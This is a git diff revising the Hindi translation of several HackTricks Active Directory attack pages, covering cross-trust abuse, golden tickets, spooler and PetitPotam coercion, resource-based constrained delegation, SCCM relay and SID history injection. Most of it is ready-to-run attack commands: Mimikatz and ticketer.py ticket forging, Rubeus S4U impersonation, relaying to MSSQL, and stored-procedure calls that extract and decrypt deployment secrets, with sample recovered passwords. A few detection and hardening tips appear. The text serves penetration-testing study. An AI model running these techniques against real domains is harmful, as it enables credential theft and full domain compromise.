जैसे: +आप **Powerview functions** का उपयोग करके `-Domain` पैरामीटर के साथ **दूसरे डोमेन** को **enumerate** कर सकते हैं जैसे: ```bash Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName ``` @@ -82,7 +82,7 @@ Enter-PSSession -ComputerName dc.external_domain.local -Credential domain\admini आप एक जंगल ट्रस्ट के पार [**SID इतिहास**](sid-history-injection.md) का भी दुरुपयोग कर सकते हैं। -यदि एक उपयोगकर्ता **एक जंगल से दूसरे जंगल में** स्थानांतरित किया जाता है और **SID फ़िल्टरिंग सक्षम नहीं है**, तो **दूसरे जंगल से एक SID जोड़ना** संभव हो जाता है, और यह **SID** **उपयोगकर्ता के टोकन** में **जोड़ दिया जाएगा** जब **ट्रस्ट** के पार प्रमाणीकरण किया जाएगा। +यदि एक उपयोगकर्ता **एक जंगल से दूसरे जंगल में** माइग्रेट किया जाता है और **SID फ़िल्टरिंग सक्षम नहीं है**, तो **दूसरे जंगल से एक SID जोड़ना** संभव हो जाता है, और यह **SID** **विश्वास** के पार प्रमाणीकरण करते समय **उपयोगकर्ता के टोकन** में **जोड़ दिया जाएगा**। > [!WARNING] > याद दिलाने के लिए, आप साइनिंग की प्राप्त कर सकते हैं @@ -91,7 +91,7 @@ Enter-PSSession -ComputerName dc.external_domain.local -Credential domain\admini > Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.domain.local > ``` -आप **वर्तमान डोमेन** के उपयोगकर्ता का **TGT** अनुकरण करते हुए **विश्वसनीय** कुंजी के साथ **साइन** कर सकते हैं। +आप **वर्तमान डोमेन** के उपयोगकर्ता का **TGT अनुकरण** करने के लिए **विश्वसनीय** कुंजी के साथ **साइन** कर सकते हैं। ```bash # Get a TGT for the cross-domain privileged user to the other domain Invoke-Mimikatz -Command '"kerberos::golden /user: /domain: /SID: /rc4: /target: /ticket:C:\path\save\ticket.kirbi"' diff --git a/src/windows-hardening/active-directory-methodology/golden-ticket.md b/src/windows-hardening/active-directory-methodology/golden-ticket.md index 07664f8ba..179814453 100644 --- a/src/windows-hardening/active-directory-methodology/golden-ticket.md +++ b/src/windows-hardening/active-directory-methodology/golden-ticket.md @@ -8,7 +8,7 @@ **krbtgt खाते का NTLM हैश प्राप्त करने** के लिए विभिन्न विधियों का उपयोग किया जा सकता है। इसे **Local Security Authority Subsystem Service (LSASS) प्रक्रिया** से या **NT Directory Services (NTDS.dit) फ़ाइल** से निकाला जा सकता है, जो डोमेन के भीतर किसी भी Domain Controller (DC) पर स्थित है। इसके अलावा, **DCsync हमले को निष्पादित करना** इस NTLM हैश को प्राप्त करने की एक और रणनीति है, जिसे **Mimikatz में lsadump::dcsync मॉड्यूल** या **Impacket द्वारा secretsdump.py स्क्रिप्ट** का उपयोग करके किया जा सकता है। यह महत्वपूर्ण है कि इन कार्यों को करने के लिए **डोमेन एडमिन विशेषाधिकार या समान स्तर की पहुंच की आवश्यकता होती है**। -हालांकि NTLM हैश इस उद्देश्य के लिए एक व्यवहार्य विधि के रूप में कार्य करता है, लेकिन **संचालन सुरक्षा कारणों से Advanced Encryption Standard (AES) Kerberos कुंजियों (AES128 और AES256) का उपयोग करके टिकटों को बनाना** **काफी अनुशंसित** है। +हालांकि NTLM हैश इस उद्देश्य के लिए एक व्यवहार्य विधि के रूप में कार्य करता है, यह **सक्रिय सुरक्षा कारणों से Advanced Encryption Standard (AES) Kerberos कुंजियों (AES128 और AES256)** का उपयोग करके टिकटों को **जाली बनाने** की **गंभीर रूप से सिफारिश** की जाती है। ```bash:From Linux python ticketer.py -nthash 25b2076cda3bfd6209161a6c78a69c1c -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park stegosaurus export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache @@ -34,7 +34,7 @@ kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1 ### सामान्य पहचान को बायपास करना -गोल्डन टिकट का पता लगाने के सबसे सामान्य तरीके **केर्बेरोस ट्रैफ़िक** की जांच करना है। डिफ़ॉल्ट रूप से, Mimikatz **TGT को 10 वर्षों के लिए साइन करता है**, जो इसके साथ किए गए बाद के TGS अनुरोधों में असामान्य के रूप में खड़ा होगा। +गोल्डन टिकट का पता लगाने के सबसे सामान्य तरीके **केर्बेरोस ट्रैफ़िक** की जांच करना हैं। डिफ़ॉल्ट रूप से, Mimikatz **TGT को 10 वर्षों के लिए साइन** करता है, जो इसके साथ किए गए बाद के TGS अनुरोधों में असामान्य के रूप में खड़ा होगा। `Lifetime : 3/11/2021 12:39:57 PM ; 3/9/2031 12:39:57 PM ; 3/9/2031 12:39:57 PM` @@ -56,7 +56,7 @@ diamond-ticket.md - 4672: प्रशासनिक लॉगिन - `Get-WinEvent -FilterHashtable @{Logname='Security';ID=4672} -MaxEvents 1 | Format-List –Property` -रक्षा करने वाले अन्य छोटे ट्रिक्स यह कर सकते हैं कि **संवेदनशील उपयोगकर्ताओं के लिए 4769 पर अलर्ट करें** जैसे कि डिफ़ॉल्ट डोमेन प्रशासक खाता। +रक्षा करने वाले अन्य छोटे ट्रिक्स यह कर सकते हैं कि **संवेदनशील उपयोगकर्ताओं के लिए 4769 पर अलर्ट करें** जैसे कि डिफ़ॉल्ट डोमेन प्रशासन खाता। ## संदर्भ diff --git a/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md b/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md index 591f4099d..d9b223c28 100644 --- a/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md +++ b/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md @@ -4,7 +4,7 @@ ## SharpSystemTriggers -[**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers) एक **संग्रह** है **दूरस्थ प्रमाणीकरण ट्रिगर्स** का, जो C# में MIDL कंपाइलर का उपयोग करके कोडित किया गया है ताकि 3rd पार्टी निर्भरताओं से बचा जा सके। +[**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers) एक **संग्रह** है **दूरस्थ प्रमाणीकरण ट्रिगर्स** का, जिसे C# में MIDL कंपाइलर का उपयोग करके 3rd पार्टी निर्भरताओं से बचने के लिए कोडित किया गया है। ## स्पूलर सेवा का दुरुपयोग @@ -43,7 +43,7 @@ printerbug.py 'domain/username:password'@ यदि एक हमलावर पहले से ही [Unconstrained Delegation](unconstrained-delegation.md) के साथ एक कंप्यूटर को समझौता कर चुका है, तो हमलावर **प्रिंटर को इस कंप्यूटर के खिलाफ प्रमाणित करवा सकता है**। अनियंत्रित प्रतिनिधित्व के कारण, **प्रिंटर के कंप्यूटर खाते का TGT** **अनियंत्रित प्रतिनिधित्व वाले कंप्यूटर की** **मेमोरी** में **सहेजा जाएगा**। चूंकि हमलावर पहले से ही इस होस्ट को समझौता कर चुका है, वह **इस टिकट को पुनः प्राप्त** कर सकेगा और इसका दुरुपयोग कर सकेगा ([Pass the Ticket](pass-the-ticket.md))। -## RCP बल प्रमाणन +## RCP बल प्रमाणीकरण {{#ref}} https://github.com/p0dalirius/Coercer @@ -51,9 +51,9 @@ https://github.com/p0dalirius/Coercer ## PrivExchange -`PrivExchange` हमला **Exchange Server `PushSubscription` फीचर** में पाए गए दोष का परिणाम है। यह फीचर किसी भी डोमेन उपयोगकर्ता को जो एक मेलबॉक्स रखता है, को HTTP के माध्यम से किसी भी क्लाइंट-प्रदानित होस्ट के खिलाफ Exchange सर्वर को प्रमाणित करने के लिए मजबूर करने की अनुमति देता है। +`PrivExchange` हमला **Exchange Server `PushSubscription` फीचर** में पाए गए दोष का परिणाम है। यह फीचर किसी भी डोमेन उपयोगकर्ता को जो एक मेलबॉक्स रखता है, को HTTP के माध्यम से किसी भी क्लाइंट-प्रदानित होस्ट के खिलाफ Exchange सर्वर को मजबूर करने की अनुमति देता है। -डिफ़ॉल्ट रूप से, **Exchange सेवा SYSTEM के रूप में चलती है** और इसे अत्यधिक विशेषाधिकार दिए जाते हैं (विशेष रूप से, इसके पास **डोमेन प्री-2019 क्यूमुलेटिव अपडेट पर WriteDacl विशेषाधिकार** हैं)। इस दोष का उपयोग **LDAP पर जानकारी को रिले करने और बाद में डोमेन NTDS डेटाबेस को निकालने** के लिए किया जा सकता है। उन मामलों में जहां LDAP पर रिले करना संभव नहीं है, इस दोष का उपयोग डोमेन के भीतर अन्य होस्ट पर रिले और प्रमाणित करने के लिए किया जा सकता है। इस हमले का सफलतापूर्वक शोषण करने से किसी भी प्रमाणित डोमेन उपयोगकर्ता खाते के साथ डोमेन एडमिन तक तात्कालिक पहुंच मिलती है। +डिफ़ॉल्ट रूप से, **Exchange सेवा SYSTEM के रूप में चलती है** और इसे अत्यधिक विशेषाधिकार दिए जाते हैं (विशेष रूप से, इसके पास **डोमेन प्री-2019 समेकित अपडेट पर WriteDacl विशेषाधिकार** हैं)। इस दोष का उपयोग **LDAP पर जानकारी को रिले करने और बाद में डोमेन NTDS डेटाबेस को निकालने** के लिए किया जा सकता है। उन मामलों में जहां LDAP पर रिले करना संभव नहीं है, इस दोष का उपयोग डोमेन के भीतर अन्य होस्ट पर रिले और प्रमाणीकरण करने के लिए किया जा सकता है। इस हमले का सफलतापूर्वक शोषण करने से किसी भी प्रमाणित डोमेन उपयोगकर्ता खाते के साथ डोमेन एडमिन तक तात्कालिक पहुंच मिलती है। ## Windows के अंदर @@ -86,9 +86,9 @@ NTLM प्रमाणीकरण को मजबूर करने के ```bash certutil.exe -syncwithWU \\127.0.0.1\share ``` -## HTML injection +## HTML इंजेक्शन -### Via email +### ईमेल के माध्यम से यदि आप उस उपयोगकर्ता का **ईमेल पता** जानते हैं जो उस मशीन में लॉग इन करता है जिसे आप समझौता करना चाहते हैं, तो आप बस उसे एक **1x1 छवि** के साथ एक **ईमेल** भेज सकते हैं जैसे ```html @@ -104,6 +104,7 @@ certutil.exe -syncwithWU \\127.0.0.1\share ``` ## NTLM प्रमाणीकरण को मजबूर करने और फ़िशिंग करने के अन्य तरीके + {{#ref}} ../ntlm/places-to-steal-ntlm-creds.md {{#endref}} diff --git a/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md b/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md index 3325a6072..1e6220b00 100644 --- a/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md +++ b/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md @@ -16,7 +16,7 @@ Constrained Delegation में कहा गया था कि उपयोगकर्ता के _userAccountControl_ मान के अंदर **`TrustedToAuthForDelegation`** ध्वज की आवश्यकता होती है ताकि **S4U2Self** किया जा सके। लेकिन यह पूरी तरह से सच नहीं है।\ वास्तविकता यह है कि भले ही उस मान के बिना, आप किसी भी उपयोगकर्ता के खिलाफ **S4U2Self** कर सकते हैं यदि आप एक **सेवा** हैं (एक SPN है) लेकिन, यदि आपके पास **`TrustedToAuthForDelegation`** है तो लौटाया गया TGS **Forwardable** होगा और यदि आपके पास वह ध्वज नहीं है तो लौटाया गया TGS **Forwardable** **नहीं** होगा। -हालांकि, यदि **S4U2Proxy** में उपयोग किया गया **TGS** **NOT Forwardable** है तो **बुनियादी Constrain Delegation** का दुरुपयोग करने की कोशिश करना **काम नहीं करेगा**। लेकिन यदि आप **Resource-Based constrain delegation** का शोषण करने की कोशिश कर रहे हैं, तो यह काम करेगा। +हालांकि, यदि **S4U2Proxy** में उपयोग किया गया **TGS** **Forwardable नहीं है** तो **basic Constrain Delegation** का दुरुपयोग करने की कोशिश करना **काम नहीं करेगा**। लेकिन यदि आप **Resource-Based constrain delegation** का शोषण करने की कोशिश कर रहे हैं, तो यह काम करेगा। ### Attack structure @@ -27,10 +27,10 @@ Constrained Delegation में कहा गया था कि उपयो 1. हमलावर एक खाते को **समझौता** करता है जिसमें एक **SPN** है या **एक बनाता है** (“Service A”)। ध्यान दें कि **कोई भी** _Admin User_ बिना किसी अन्य विशेषाधिकार के **10 कंप्यूटर वस्तुएं** (**_MachineAccountQuota_**) बना सकता है और उन्हें एक **SPN** सेट कर सकता है। इसलिए हमलावर बस एक कंप्यूटर वस्तु बना सकता है और एक SPN सेट कर सकता है। 2. हमलावर शिकार कंप्यूटर (ServiceB) पर अपने WRITE विशेषाधिकार का **दुरुपयोग** करता है ताकि **resource-based constrained delegation को कॉन्फ़िगर किया जा सके ताकि ServiceA किसी भी उपयोगकर्ता का अनुकरण कर सके** उस शिकार कंप्यूटर (ServiceB) के खिलाफ। 3. हमलावर Rubeus का उपयोग करके **पूर्ण S4U हमला** (S4U2Self और S4U2Proxy) Service A से Service B के लिए एक उपयोगकर्ता के लिए करता है **जिसके पास Service B तक विशेषाधिकार प्राप्त पहुंच है**। -1. S4U2Self (समझौता/बनाए गए SPN से): मुझसे **Administrator का TGS मांगें** (Not Forwardable)। -2. S4U2Proxy: **शिकार होस्ट** के लिए **Administrator** से **TGS** मांगने के लिए पिछले चरण के **not Forwardable TGS** का उपयोग करें। -3. भले ही आप एक not Forwardable TGS का उपयोग कर रहे हों, क्योंकि आप Resource-based constrained delegation का शोषण कर रहे हैं, यह काम करेगा। -4. हमलावर **पास-दी-टिकट** कर सकता है और **उपयोगकर्ता का अनुकरण** कर सकता है ताकि **शिकार ServiceB तक पहुंच प्राप्त कर सके**। +1. S4U2Self (समझौता/बनाए गए SPN खाते से): मुझसे **Administrator का TGS मांगें** (Forwardable नहीं)। +2. S4U2Proxy: पिछले चरण के **नॉन-Forwardable TGS** का उपयोग करके **Administrator** से **शिकार होस्ट** के लिए **TGS** मांगें। +3. भले ही आप एक नॉन-Forwardable TGS का उपयोग कर रहे हों, क्योंकि आप Resource-based constrained delegation का शोषण कर रहे हैं, यह काम करेगा। +4. हमलावर **ticket पास कर सकता है** और उपयोगकर्ता का **अनुकरण कर सकता है** ताकि **शिकार ServiceB तक पहुंच प्राप्त कर सके**। डोमेन के _**MachineAccountQuota**_ की जांच करने के लिए आप उपयोग कर सकते हैं: ```bash @@ -86,7 +86,7 @@ rubeus.exe s4u /user:FAKECOMPUTER$ /aes256: /aes128: / rubeus.exe s4u /user:FAKECOMPUTER$ /aes256: /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt ``` > [!CAUTION] -> ध्यान दें कि उपयोगकर्ताओं के पास "**Cannot be delegated**" नामक एक विशेषता होती है। यदि किसी उपयोगकर्ता की यह विशेषता True है, तो आप उसकी नकल नहीं कर पाएंगे। यह संपत्ति bloodhound के अंदर देखी जा सकती है। +> ध्यान दें कि उपयोगकर्ताओं के पास "**Cannot be delegated**" नामक एक विशेषता होती है। यदि किसी उपयोगकर्ता के पास यह विशेषता True है, तो आप उसकी नकल नहीं कर पाएंगे। यह संपत्ति bloodhound के अंदर देखी जा सकती है। ### Linux tooling: end-to-end RBCD with Impacket (2024+) @@ -165,11 +165,11 @@ impacket-rbcd -delegate-to 'VICTIM$' -action flush 'domain.local/jdoe:Summer2025 ``` ## Kerberos Errors -- **`KDC_ERR_ETYPE_NOTSUPP`**: इसका मतलब है कि kerberos को DES या RC4 का उपयोग नहीं करने के लिए कॉन्फ़िगर किया गया है और आप केवल RC4 हैश प्रदान कर रहे हैं। Rubeus को कम से कम AES256 हैश (या बस rc4, aes128 और aes256 हैश प्रदान करें) दें। उदाहरण: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())` +- **`KDC_ERR_ETYPE_NOTSUPP`**: इसका मतलब है कि kerberos को DES या RC4 का उपयोग नहीं करने के लिए कॉन्फ़िगर किया गया है और आप केवल RC4 हैश प्रदान कर रहे हैं। Rubeus को कम से कम AES256 हैश प्रदान करें (या इसे rc4, aes128 और aes256 हैश प्रदान करें)। उदाहरण: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())` - **`KRB_AP_ERR_SKEW`**: इसका मतलब है कि वर्तमान कंप्यूटर का समय DC के समय से अलग है और kerberos सही तरीके से काम नहीं कर रहा है। -- **`preauth_failed`**: इसका मतलब है कि दिया गया उपयोगकर्ता नाम + हैश लॉगिन करने के लिए काम नहीं कर रहे हैं। आप हैश उत्पन्न करते समय उपयोगकर्ता नाम के अंदर "$" डालना भूल गए हो सकते हैं (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`) +- **`preauth_failed`**: इसका मतलब है कि दिया गया उपयोगकर्ता नाम + हैश लॉगिन करने के लिए काम नहीं कर रहे हैं। आप हैश उत्पन्न करते समय उपयोगकर्ता नाम के अंदर "$" डालना भूल गए होंगे (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`) - **`KDC_ERR_BADOPTION`**: इसका मतलब हो सकता है: -- जिस उपयोगकर्ता को आप अनुकरण करने की कोशिश कर रहे हैं वह इच्छित सेवा तक पहुँच नहीं सकता (क्योंकि आप इसे अनुकरण नहीं कर सकते या क्योंकि इसके पास पर्याप्त विशेषाधिकार नहीं हैं) +- जिस उपयोगकर्ता का आप अनुकरण करने की कोशिश कर रहे हैं, वह इच्छित सेवा तक पहुँच नहीं सकता (क्योंकि आप इसका अनुकरण नहीं कर सकते या क्योंकि इसके पास पर्याप्त विशेषाधिकार नहीं हैं) - मांगी गई सेवा मौजूद नहीं है (यदि आप winrm के लिए एक टिकट मांगते हैं लेकिन winrm चल नहीं रहा है) - बनाए गए fakecomputer ने कमजोर सर्वर पर अपने विशेषाधिकार खो दिए हैं और आपको उन्हें वापस देना होगा। - आप क्लासिक KCD का दुरुपयोग कर रहे हैं; याद रखें कि RBCD गैर-फॉरवर्डेबल S4U2Self टिकटों के साथ काम करता है, जबकि KCD फॉरवर्डेबल की आवश्यकता होती है। @@ -178,12 +178,14 @@ impacket-rbcd -delegate-to 'VICTIM$' -action flush 'domain.local/jdoe:Summer2025 - यदि LDAP फ़िल्टर किया गया है तो आप AD वेब सेवाओं (ADWS) पर RBCD SD भी लिख सकते हैं। देखें: + {{#ref}} adws-enumeration.md {{#endref}} - Kerberos रिले श्रृंखलाएँ अक्सर एक कदम में स्थानीय SYSTEM प्राप्त करने के लिए RBCD पर समाप्त होती हैं। व्यावहारिक अंत-से-अंत उदाहरण देखें: + {{#ref}} ../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md {{#endref}} @@ -198,4 +200,5 @@ adws-enumeration.md - Impacket rbcd.py (official): https://github.com/fortra/impacket/blob/master/examples/rbcd.py - Quick Linux cheatsheet with recent syntax: https://tldrbins.github.io/rbcd/ + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md b/src/windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md index 7bfe5cb69..af15e55a1 100644 --- a/src/windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md +++ b/src/windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md @@ -3,7 +3,7 @@ {{#include ../../banners/hacktricks-training.md}} ## TL;DR -एक **System Center Configuration Manager (SCCM) प्रबंधन बिंदु (MP)** को SMB/RPC के माध्यम से प्रमाणित करने के लिए मजबूर करके और उस NTLM मशीन खाते को **साइट डेटाबेस (MSSQL)** में **रिले** करके आप `smsdbrole_MP` / `smsdbrole_MPUserSvc` अधिकार प्राप्त करते हैं। ये भूमिकाएँ आपको एक सेट स्टोर की गई प्रक्रियाओं को कॉल करने की अनुमति देती हैं जो **ऑपरेटिंग सिस्टम डिप्लॉयमेंट (OSD)** नीति ब्लॉब्स (नेटवर्क एक्सेस खाता क्रेडेंशियल, कार्य-क्रम चर, आदि) को उजागर करती हैं। ब्लॉब्स हेक्स-कोडित/एन्क्रिप्टेड होते हैं लेकिन **PXEthief** के साथ डिकोड और डिक्रिप्ट किए जा सकते हैं, जिससे स्पष्ट गुप्त जानकारी मिलती है। +एक **System Center Configuration Manager (SCCM) प्रबंधन बिंदु (MP)** को SMB/RPC के माध्यम से प्रमाणीकरण करने के लिए मजबूर करके और उस NTLM मशीन खाते को **साइट डेटाबेस (MSSQL)** में **रिले** करके आप `smsdbrole_MP` / `smsdbrole_MPUserSvc` अधिकार प्राप्त करते हैं। ये भूमिकाएँ आपको एक सेट स्टोर की गई प्रक्रियाओं को कॉल करने की अनुमति देती हैं जो **ऑपरेटिंग सिस्टम डिप्लॉयमेंट (OSD)** नीति ब्लॉब्स (नेटवर्क एक्सेस खाता क्रेडेंशियल, कार्य-क्रम चर, आदि) को उजागर करती हैं। ब्लॉब्स हेक्स-कोडित/एन्क्रिप्टेड होते हैं लेकिन **PXEthief** के साथ डिकोड और डिक्रिप्ट किए जा सकते हैं, जिससे स्पष्ट गुप्त जानकारी मिलती है। उच्च-स्तरीय श्रृंखला: 1. MP और साइट DB खोजें ↦ बिना प्रमाणीकरण के HTTP एंडपॉइंट `/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA`। @@ -25,7 +25,7 @@ MP ISAPI एक्सटेंशन **GetAuth.dll** कई पैरामी | पैरामीटर | उद्देश्य | |-----------|---------| -| `MPKEYINFORMATIONMEDIA` | साइट साइनिंग सर्टिफिकेट का सार्वजनिक कुंजी + *x86* / *x64* **सभी अज्ञात कंप्यूटर** उपकरणों के GUIDs लौटाता है। | +| `MPKEYINFORMATIONMEDIA` | साइट साइनिंग सर्टिफिकेट का सार्वजनिक कुंजी + *x86* / *x64* **सभी अज्ञात कंप्यूटर** उपकरणों के GUID लौटाता है। | | `MPLIST` | साइट में हर प्रबंधन बिंदु की सूची बनाता है। | | `SITESIGNCERT` | प्राथमिक-साइट साइनिंग सर्टिफिकेट लौटाता है (LDAP के बिना साइट सर्वर की पहचान करें)। | @@ -51,7 +51,7 @@ python3 PetitPotam.py 10.10.10.20 10.10.10.99 \ ``` --- -## 3. संग्रहीत प्रक्रियाओं के माध्यम से OSD नीतियों की पहचान करें +## 3. OSD नीतियों की पहचान करें संग्रहीत प्रक्रियाओं के माध्यम से SOCKS प्रॉक्सी के माध्यम से कनेक्ट करें (डिफ़ॉल्ट रूप से पोर्ट 1080): ```bash proxychains mssqlclient.py CONTOSO/MP01$@10.10.10.15 -windows-auth @@ -81,11 +81,11 @@ EXEC MP_GetMachinePolicyAssignments N'e9cd8c06-cc50-4b05-a4b2-9c9b5a51bbe7', N'' ```sql EXEC MP_GetPolicyBody N'{083afd7a-b0be-4756-a4ce-c31825050325}', N'2.00'; ``` -> महत्वपूर्ण: SSMS में "अधिकतम वर्ण पुनर्प्राप्त" बढ़ाएँ (>65535) अन्यथा blob काट दिया जाएगा। +> महत्वपूर्ण: SSMS में "अधिकतम वर्ण पुनर्प्राप्त" बढ़ाएँ (>65535) अन्यथा ब्लॉब काट दिया जाएगा। --- -## 4. blob को डिकोड और डिक्रिप्ट करें +## 4. ब्लॉब को डिकोड और डिक्रिप्ट करें ```bash # Remove the UTF-16 BOM, convert from hex → XML echo 'fffe3c003f0078…' | xxd -r -p > policy.xml @@ -93,7 +93,7 @@ echo 'fffe3c003f0078…' | xxd -r -p > policy.xml # Decrypt with PXEthief (7 = decrypt attribute value) python3 pxethief.py 7 $(xmlstarlet sel -t -v "//value/text()" policy.xml) ``` -Recovered secrets example: +पुनर्प्राप्त किए गए रहस्य का उदाहरण: ``` OSDJoinAccount : CONTOSO\\joiner OSDJoinPassword: SuperSecret2025! @@ -112,7 +112,7 @@ NetworkAccessPassword: P4ssw0rd123 | स्टोर की गई प्रक्रिया | उद्देश्य | |------------------|---------| | `MP_GetMachinePolicyAssignments` | एक `clientID` पर लागू नीतियों की सूची। | -| `MP_GetPolicyBody` / `MP_GetPolicyBodyAfterAuthorization` | पूर्ण नीति शरीर लौटाएँ। | +| `MP_GetPolicyBody` / `MP_GetPolicyBodyAfterAuthorization` | पूरी नीति का शरीर लौटाएँ। | | `MP_GetListOfMPsInSiteOSD` | `MPKEYINFORMATIONMEDIA` पथ द्वारा लौटाया गया। | आप पूर्ण सूची की जांच कर सकते हैं: @@ -127,8 +127,8 @@ AND pe.permission_name='EXECUTE'; --- ## 6. पहचान और हार्डनिंग -1. **MP लॉगिन की निगरानी करें** – कोई भी MP कंप्यूटर खाता यदि किसी IP से लॉगिन करता है जो इसका होस्ट नहीं है ≈ रिले। -2. साइट डेटाबेस पर **प्रमाणीकरण के लिए विस्तारित सुरक्षा (EPA)** सक्षम करें (`PREVENT-14`)। +1. **MP लॉगिन की निगरानी करें** – कोई भी MP कंप्यूटर खाता यदि किसी IP से लॉगिन कर रहा है जो इसका होस्ट नहीं है ≈ रिले। +2. साइट डेटाबेस पर **प्रामाणिकता के लिए विस्तारित सुरक्षा (EPA)** सक्षम करें (`PREVENT-14`)। 3. अप्रयुक्त NTLM को निष्क्रिय करें, SMB साइनिंग को लागू करें, RPC को प्रतिबंधित करें ( `PetitPotam`/`PrinterBug` के खिलाफ उपयोग की गई समान रोकथाम)। 4. MP ↔ DB संचार को IPSec / आपसी-TLS के साथ हार्डन करें। @@ -137,11 +137,13 @@ AND pe.permission_name='EXECUTE'; ## अन्य देखें * NTLM रिले के मूलभूत सिद्धांत: + {{#ref}} ../ntlm/README.md {{#endref}} -* MSSQL दुरुपयोग और पोस्ट-एक्सप्लॉयटेशन: +* MSSQL दुरुपयोग और पोस्ट-एक्सप्लॉइटेशन: + {{#ref}} abusing-ad-mssql.md {{#endref}} diff --git a/src/windows-hardening/active-directory-methodology/sid-history-injection.md b/src/windows-hardening/active-directory-methodology/sid-history-injection.md index 8e97c2103..443a9d394 100644 --- a/src/windows-hardening/active-directory-methodology/sid-history-injection.md +++ b/src/windows-hardening/active-directory-methodology/sid-history-injection.md @@ -4,31 +4,31 @@ ## SID History Injection Attack -**SID History Injection Attack** का ध्यान **डोमेन के बीच उपयोगकर्ता माइग्रेशन** में मदद करना है, जबकि पूर्व डोमेन से संसाधनों तक निरंतर पहुंच सुनिश्चित करना है। यह **उपयोगकर्ता के पिछले सुरक्षा पहचानकर्ता (SID) को उनके नए खाते के SID इतिहास में शामिल करके** किया जाता है। विशेष रूप से, इस प्रक्रिया का दुरुपयोग करके उच्च-विशेषाधिकार समूह (जैसे Enterprise Admins या Domain Admins) के SID को माता-पिता डोमेन से SID इतिहास में जोड़कर अनधिकृत पहुंच प्रदान की जा सकती है। यह शोषण माता-पिता डोमेन के भीतर सभी संसाधनों तक पहुंच प्रदान करता है। +**SID History Injection Attack** का ध्यान **डोमेन के बीच उपयोगकर्ता माइग्रेशन** में सहायता करना है, जबकि पूर्व डोमेन से संसाधनों तक निरंतर पहुंच सुनिश्चित करना है। यह **उपयोगकर्ता के पिछले सुरक्षा पहचानकर्ता (SID) को उनके नए खाते के SID इतिहास में शामिल करके** किया जाता है। विशेष रूप से, इस प्रक्रिया का दुरुपयोग करके उच्च-विशेषाधिकार समूह (जैसे Enterprise Admins या Domain Admins) के SID को माता-पिता डोमेन से SID इतिहास में जोड़कर अनधिकृत पहुंच प्रदान की जा सकती है। इस शोषण से माता-पिता डोमेन के भीतर सभी संसाधनों तक पहुंच मिलती है। -इस हमले को निष्पादित करने के लिए दो तरीके हैं: या तो **Golden Ticket** या **Diamond Ticket** बनाने के माध्यम से। +इस हमले को निष्पादित करने के लिए दो विधियाँ हैं: या तो **Golden Ticket** या **Diamond Ticket** के निर्माण के माध्यम से। -**"Enterprise Admins"** समूह के लिए SID को पहचानने के लिए, सबसे पहले रूट डोमेन के SID को ढूंढना होगा। पहचान के बाद, Enterprise Admins समूह SID को रूट डोमेन के SID में `-519` जोड़कर बनाया जा सकता है। उदाहरण के लिए, यदि रूट डोमेन SID `S-1-5-21-280534878-1496970234-700767426` है, तो "Enterprise Admins" समूह के लिए परिणामस्वरूप SID `S-1-5-21-280534878-1496970234-700767426-519` होगा। +**"Enterprise Admins"** समूह के लिए SID को पहचानने के लिए, सबसे पहले रूट डोमेन का SID ढूंढना होगा। पहचान के बाद, Enterprise Admins समूह SID को रूट डोमेन के SID में `-519` जोड़कर बनाया जा सकता है। उदाहरण के लिए, यदि रूट डोमेन SID `S-1-5-21-280534878-1496970234-700767426` है, तो "Enterprise Admins" समूह के लिए परिणामस्वरूप SID `S-1-5-21-280534878-1496970234-700767426-519` होगा। आप **Domain Admins** समूहों का भी उपयोग कर सकते हैं, जो **512** पर समाप्त होता है। -दूसरे डोमेन के एक समूह (उदाहरण के लिए "Domain Admins") का SID खोजने का एक और तरीका है: +दूसरे डोमेन के समूह (उदाहरण के लिए "Domain Admins") का SID खोजने का एक और तरीका है: ```bash Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid ``` > [!WARNING] > ध्यान दें कि एक ट्रस्ट संबंध में SID इतिहास को अक्षम करना संभव है, जिससे यह हमला विफल हो जाएगा। -[**docs**](https://technet.microsoft.com/library/cc835085.aspx) के अनुसार: -- **नेटडॉम टूल का उपयोग करके फॉरेस्ट ट्रस्ट पर SIDHistory को अक्षम करना** (`netdom trust /domain: /EnableSIDHistory:no on the domain controller`) -- **नेटडॉम टूल का उपयोग करके बाहरी ट्रस्ट पर SID फ़िल्टर क्वारंटाइन लागू 